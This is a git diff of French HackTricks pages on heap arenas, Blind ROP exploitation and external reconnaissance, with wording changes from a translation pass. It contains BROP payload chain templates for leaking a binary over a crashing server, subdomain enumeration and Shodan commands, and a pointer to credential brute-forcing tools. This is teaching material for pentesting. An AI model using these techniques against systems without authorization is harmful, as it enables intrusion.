||||
}
|
||||
```
|
||||
Définissez un point d'arrêt à la fin de la fonction principale et découvrons où l'information a été stockée :
|
||||
Settez un point d'arrêt à la fin de la fonction principale et découvrons où l'information a été stockée :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -470,11 +470,11 @@ return 0;
|
|||
|
||||
En déboguant l'exemple précédent, il est possible de voir qu'au début, il n'y a qu'une seule arène :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Puis, après avoir appelé le premier thread, celui qui appelle malloc, une nouvelle arène est créée :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
et à l'intérieur, on peut trouver quelques chunks :
|
||||
|
||||
|
@ -488,9 +488,9 @@ Vérifiez quels sont les bins et comment ils sont organisés et comment la mémo
|
|||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Vérifications de Sécurité des Fonctions de Tas
|
||||
## Vérifications de Sécurité des Fonctions de Heap
|
||||
|
||||
Les fonctions impliquées dans le tas effectueront certaines vérifications avant d'exécuter leurs actions pour essayer de s'assurer que le tas n'a pas été corrompu :
|
||||
Les fonctions impliquées dans le heap effectueront certaines vérifications avant d'exécuter leurs actions pour essayer de s'assurer que le heap n'a pas été corrompu :
|
||||
|
||||
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
|
||||
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
||||
|
|
|
@ -1,29 +1,29 @@
|
|||
# BROP - Blind Return Oriented Programming
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basic Information
|
||||
## Informations de base
|
||||
|
||||
Le but de cette attaque est de pouvoir **abuser d'un ROP via un débordement de tampon sans aucune information sur le binaire vulnérable**.\
|
||||
L'objectif de cette attaque est de pouvoir **abuser d'un ROP via un débordement de tampon sans aucune information sur le binaire vulnérable**.\
|
||||
Cette attaque est basée sur le scénario suivant :
|
||||
|
||||
* Une vulnérabilité de pile et la connaissance de la façon de la déclencher.
|
||||
* Une application serveur qui redémarre après un crash.
|
||||
|
||||
## Attack
|
||||
## Attaque
|
||||
|
||||
### **1. Trouver l'offset vulnérable** en envoyant un caractère de plus jusqu'à ce qu'un dysfonctionnement du serveur soit détecté
|
||||
|
||||
|
@ -41,7 +41,7 @@ Ce gadget permet essentiellement de confirmer que quelque chose d'intéressant a
|
|||
|
||||
Cette technique utilise le gadget [**ret2csu**](ret2csu.md). Et cela est dû au fait que si vous accédez à ce gadget au milieu de certaines instructions, vous obtenez des gadgets pour contrôler **`rsi`** et **`rdi`** :
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Ce seraient les gadgets :
|
||||
|
||||
|
@ -74,22 +74,22 @@ Par conséquent, il est possible de trouver la table PLT en vérifiant les compo
|
|||
|
||||
### 7. Trouver strcmp
|
||||
|
||||
La fonction **`strcmp`** définit le registre **`rdx`** à la longueur de la chaîne comparée. Notez que **`rdx`** est le **troisième argument** et nous avons besoin qu'il soit **plus grand que 0** afin de pouvoir utiliser `write` pour divulguer le programme par la suite.
|
||||
La fonction **`strcmp`** définit le registre **`rdx`** à la longueur de la chaîne comparée. Notez que **`rdx`** est le **troisième argument** et nous avons besoin qu'il soit **plus grand que 0** afin de l'utiliser plus tard avec `write` pour divulguer le programme.
|
||||
|
||||
Il est possible de trouver l'emplacement de **`strcmp`** dans le PLT en fonction de son comportement en utilisant le fait que nous pouvons maintenant contrôler les 2 premiers arguments des fonctions :
|
||||
|
||||
* strcmp(\<adresse non lue>, \<adresse non lue>) -> crash
|
||||
* strcmp(\<adresse non lue>, \<adresse lue>) -> crash
|
||||
* strcmp(\<adresse lue>, \<adresse non lue>) -> crash
|
||||
* strcmp(\<adresse lue>, \<adresse lue>) -> pas de crash
|
||||
* strcmp(\<adresse non lisible>, \<adresse non lisible>) -> crash
|
||||
* strcmp(\<adresse non lisible>, \<adresse lisible>) -> crash
|
||||
* strcmp(\<adresse lisible>, \<adresse non lisible>) -> crash
|
||||
* strcmp(\<adresse lisible>, \<adresse lisible>) -> pas de crash
|
||||
|
||||
Il est possible de vérifier cela en appelant chaque entrée de la table PLT ou en utilisant le **chemin lent du PLT** qui consiste essentiellement à **appeler une entrée dans la table PLT + 0xb** (ce qui appelle **`dlresolve`**) suivi dans la pile par le **numéro d'entrée que l'on souhaite sonder** (commençant à zéro) pour scanner toutes les entrées PLT à partir de la première :
|
||||
Il est possible de vérifier cela en appelant chaque entrée de la table PLT ou en utilisant le **chemin lent PLT** qui consiste essentiellement à **appeler une entrée dans la table PLT + 0xb** (qui appelle **`dlresolve`**) suivie dans la pile par le **numéro d'entrée que l'on souhaite sonder** (commençant à zéro) pour scanner toutes les entrées PLT à partir de la première :
|
||||
|
||||
* strcmp(\<adresse non lue>, \<adresse lue>) -> crash
|
||||
* strcmp(\<adresse non lisible>, \<adresse lisible>) -> crash
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Va planter
|
||||
* strcmp(\<adresse lue>, \<adresse non lue>) -> crash
|
||||
* strcmp(\<adresse lisible>, \<adresse non lisible>) -> crash
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
* strcmp(\<adresse lue>, \<adresse lue>) -> pas de crash
|
||||
* strcmp(\<adresse lisible>, \<adresse lisible>) -> pas de crash
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
|
||||
Rappelez-vous que :
|
||||
|
@ -101,7 +101,7 @@ Rappelez-vous que :
|
|||
Ayant trouvé `strcmp`, il est possible de définir **`rdx`** à une valeur supérieure à 0.
|
||||
|
||||
{% hint style="success" %}
|
||||
Notez qu'en général, `rdx` contiendra déjà une valeur supérieure à 0, donc cette étape pourrait ne pas être nécessaire.
|
||||
Notez qu'en général, `rdx` contiendra déjà une valeur supérieure à 0, donc cette étape peut ne pas être nécessaire.
|
||||
{% endhint %}
|
||||
|
||||
### 8. Trouver Write ou équivalent
|
||||
|
@ -112,9 +112,9 @@ Il existe 3 fonctions courantes qui pourraient être abusées pour cela :
|
|||
|
||||
* `puts(data)`
|
||||
* `dprintf(fd, data)`
|
||||
* `write(fd, data, len(data)`
|
||||
* `write(fd, data, len(data))`
|
||||
|
||||
Cependant, le document original ne mentionne que la fonction **`write`**, donc parlons-en :
|
||||
Cependant, le document original ne mentionne que la fonction **`write`**, alors parlons-en :
|
||||
|
||||
Le problème actuel est que nous ne savons pas **où se trouve la fonction write dans le PLT** et nous ne savons pas **un numéro de fd pour envoyer les données à notre socket**.
|
||||
|
||||
|
@ -126,26 +126,26 @@ Signatures de comportement pour trouver ces fonctions :
|
|||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> S'il y a des données imprimées, alors dprintf a été trouvé
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> S'il y a des données imprimées, alors write a été trouvé
|
||||
|
||||
## Automatic Exploitation
|
||||
## Exploitation automatique
|
||||
|
||||
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
* Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
|
||||
* Document original : [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
|
||||
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_polonais courant écrit et parlé requis_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -38,22 +38,22 @@ Tout d'abord, nous devons savoir quelles **autres entreprises sont possédées p
|
|||
Une option est de visiter [https://www.crunchbase.com/](https://www.crunchbase.com), **chercher** la **société principale**, et **cliquer** sur "**acquisitions**". Là, vous verrez d'autres entreprises acquises par la principale.\
|
||||
Une autre option est de visiter la page **Wikipedia** de la société principale et de rechercher les **acquisitions**.
|
||||
|
||||
> Ok, à ce stade, vous devriez connaître toutes les entreprises dans le champ d'application. Voyons comment trouver leurs actifs.
|
||||
> D'accord, à ce stade, vous devriez connaître toutes les entreprises dans le champ d'application. Découvrons comment trouver leurs actifs.
|
||||
|
||||
### **ASNs**
|
||||
|
||||
Un numéro de système autonome (**ASN**) est un **numéro unique** attribué à un **système autonome** (AS) par l'**Internet Assigned Numbers Authority (IANA)**.\
|
||||
Un **AS** se compose de **blocs** d'**adresses IP** qui ont une politique clairement définie pour accéder aux réseaux externes et sont administrés par une seule organisation mais peuvent être composés de plusieurs opérateurs.
|
||||
|
||||
Il est intéressant de trouver si la **société a attribué un ASN** pour trouver ses **plages IP.** Il sera intéressant de réaliser un **test de vulnérabilité** contre tous les **hôtes** dans le **champ d'application** et de **chercher des domaines** dans ces IP.\
|
||||
Vous pouvez **chercher** par nom de société, par **IP** ou par **domaine** sur [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Selon la région de la société, ces liens pourraient être utiles pour rassembler plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique Latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages IP et Whois)** apparaissent déjà dans le premier lien.
|
||||
Il est intéressant de trouver si la **société a attribué un ASN** pour trouver ses **plages IP.** Il sera intéressant de réaliser un **test de vulnérabilité** contre tous les **hôtes** dans le **champ d'application** et **chercher des domaines** à l'intérieur de ces IP.\
|
||||
Vous pouvez **chercher** par **nom d'entreprise**, par **IP** ou par **domaine** sur [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Selon la région de l'entreprise, ces liens pourraient être utiles pour rassembler plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique Latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages IP et Whois)** apparaissent déjà dans le premier lien.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
Aussi, l'énumération de sous-domaines de [**BBOT**](https://github.com/blacklanternsecurity/bbot)**** agrège et résume automatiquement les ASN à la fin de l'analyse.
|
||||
Aussi, l'**énumération de sous-domaines de [**BBOT**](https://github.com/blacklanternsecurity/bbot)** agrège et résume automatiquement les ASN à la fin du scan.
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
|
@ -77,7 +77,7 @@ Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com
|
|||
|
||||
À ce stade, nous connaissons **tous les actifs à l'intérieur du périmètre**, donc si vous y êtes autorisé, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\
|
||||
De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et selon ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment pentester plusieurs services possibles en cours d'exécution.\
|
||||
**Il pourrait également être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et** de mots de passe **par défaut et essayer de** bruteforcer des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
**De plus, il pourrait être utile de mentionner que vous pouvez également préparer des listes de** noms d'utilisateur par défaut **et de** mots de passe **et essayer de** bruteforcer des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domaines
|
||||
|
||||
|
@ -145,7 +145,7 @@ De plus, vous pouvez également rechercher des technologies en utilisant le hash
|
|||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
C'est ainsi que vous pouvez **calculer le hash du favicon** d'un web :
|
||||
C'est ainsi que vous pouvez **calculer le hash du favicon** d'un site web :
|
||||
```python
|
||||
import mmh3
|
||||
import requests
|
||||
|
@ -164,23 +164,23 @@ Recherchez dans les pages web **des chaînes qui pourraient être partagées ent
|
|||
|
||||
### **CRT Time**
|
||||
|
||||
Il est courant d'avoir un cron job tel que
|
||||
Il est courant d'avoir un travail cron tel que
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
pour renouveler tous les certificats de domaine sur le serveur. Cela signifie que même si l'AC utilisée pour cela ne fixe pas le temps de génération dans le temps de validité, il est possible de **trouver des domaines appartenant à la même entreprise dans les journaux de transparence des certificats**.\
|
||||
Consultez ce [**rapport pour plus d'informations**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\
|
||||
Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### Informations sur le Mail DMARC
|
||||
### Mail DMARC information
|
||||
|
||||
Vous pouvez utiliser un site web tel que [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ou un outil tel que [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) pour trouver **des domaines et sous-domaines partageant les mêmes informations DMARC**.
|
||||
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**.
|
||||
|
||||
### **Prise de contrôle passive**
|
||||
|
||||
Apparemment, il est courant que des personnes assignent des sous-domaines à des IP appartenant à des fournisseurs de cloud et à un moment donné **perdent cette adresse IP mais oublient de supprimer l'enregistrement DNS**. Par conséquent, en **créant une VM** dans un cloud (comme Digital Ocean), vous allez en fait **prendre le contrôle de certains sous-domaines**.
|
||||
|
||||
[**Ce post**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **crée une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine, et **cherche dans Virustotal des enregistrements de sous-domaines** pointant vers elle.
|
||||
[**Cet article**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **crée une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine, et **cherche dans Virustotal des enregistrements de sous-domaines** pointant vers elle.
|
||||
|
||||
### **Autres méthodes**
|
||||
|
||||
|
@ -188,20 +188,20 @@ Apparemment, il est courant que des personnes assignent des sous-domaines à des
|
|||
|
||||
**Shodan**
|
||||
|
||||
Comme vous connaissez déjà le nom de l'organisation propriétaire de l'espace IP. Vous pouvez rechercher ces données dans Shodan en utilisant : `org:"Tesla, Inc."` Vérifiez les hôtes trouvés pour de nouveaux domaines inattendus dans le certificat TLS.
|
||||
Comme vous connaissez déjà le nom de l'organisation propriétaire de l'espace IP. Vous pouvez rechercher ces données dans shodan en utilisant : `org:"Tesla, Inc."` Vérifiez les hôtes trouvés pour de nouveaux domaines inattendus dans le certificat TLS.
|
||||
|
||||
Vous pourriez accéder au **certificat TLS** de la page principale, obtenir le **nom de l'organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues par **Shodan** avec le filtre : `ssl:"Tesla Motors"` ou utiliser un outil comme [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir le **nom de l'organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues par **shodan** avec le filtre : `ssl:"Tesla Motors"` ou utiliser un outil comme [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) est un outil qui recherche des **domaines liés** à un domaine principal et **sous-domaines** de ceux-ci, assez incroyable.
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) est un outil qui recherche des **domaines liés** à un domaine principal et ses **sous-domaines**, assez incroyable.
|
||||
|
||||
### **Recherche de vulnérabilités**
|
||||
|
||||
Vérifiez certains [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais qu'elle **a perdu la propriété**. Il suffit de l'enregistrer (si assez bon marché) et d'informer l'entreprise.
|
||||
|
||||
Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte d'actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
|
||||
_Notez que parfois le domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
|
||||
Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte d'actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services qui fonctionnent, vous pouvez trouver dans **ce livre quelques astuces pour "les attaquer"**.\
|
||||
_Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** !
|
||||
|
@ -275,7 +275,7 @@ vita -d tesla.com
|
|||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
Il existe **d'autres outils/API intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, pourraient être utiles pour trouver des sous-domaines, comme :
|
||||
Il existe **d'autres outils/APIs intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, pourraient être utiles pour trouver des sous-domaines, comme :
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utilise l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) pour obtenir des sous-domaines
|
||||
```bash
|
||||
|
@ -312,7 +312,7 @@ crt tesla.com
|
|||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
```
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper) : Ils parcourent le web à la recherche de fichiers JS et extraient des sous-domaines à partir de ceux-ci.
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper) : Ils parcourent le web à la recherche de fichiers JS et extraient des sous-domaines à partir de là.
|
||||
```bash
|
||||
# Get only subdomains from SubDomainizer
|
||||
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
||||
|
@ -366,7 +366,7 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
|||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): Celui-ci, je pense qu'il utilise juste 1 résolveur.
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): Celui-ci, je pense qu'il utilise juste 1 résolveur
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
|
@ -386,7 +386,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
|||
|
||||
Après avoir trouvé des sous-domaines en utilisant des sources ouvertes et le brute-forcing, vous pourriez générer des altérations des sous-domaines trouvés pour essayer d'en trouver encore plus. Plusieurs outils sont utiles à cet effet :
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Étant donné les domaines et sous-domaines, génère des permutations.
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Étant donné les domaines et sous-domaines, générez des permutations.
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
|
@ -399,12 +399,12 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
|||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): En plus de générer des permutations de sous-domaines, il peut également essayer de les résoudre (mais il est préférable d'utiliser les outils commentés précédemment).
|
||||
* [**altdns**](https://github.com/infosec-au/altdns) : En plus de générer des permutations de sous-domaines, il peut également essayer de les résoudre (mais il est préférable d'utiliser les outils commentés précédemment).
|
||||
* Vous pouvez obtenir les permutations altdns **wordlist** [**ici**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Un autre outil pour effectuer des permutations, des mutations et des altérations de sous-domaines. Cet outil va forcer le résultat (il ne prend pas en charge les jokers DNS).
|
||||
* [**dmut**](https://github.com/bp0lr/dmut) : Un autre outil pour effectuer des permutations, des mutations et des altérations de sous-domaines. Cet outil va forcer le résultat (il ne prend pas en charge les jokers DNS).
|
||||
* Vous pouvez obtenir la liste de mots de permutations d'dmut [**ici**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
```bash
|
||||
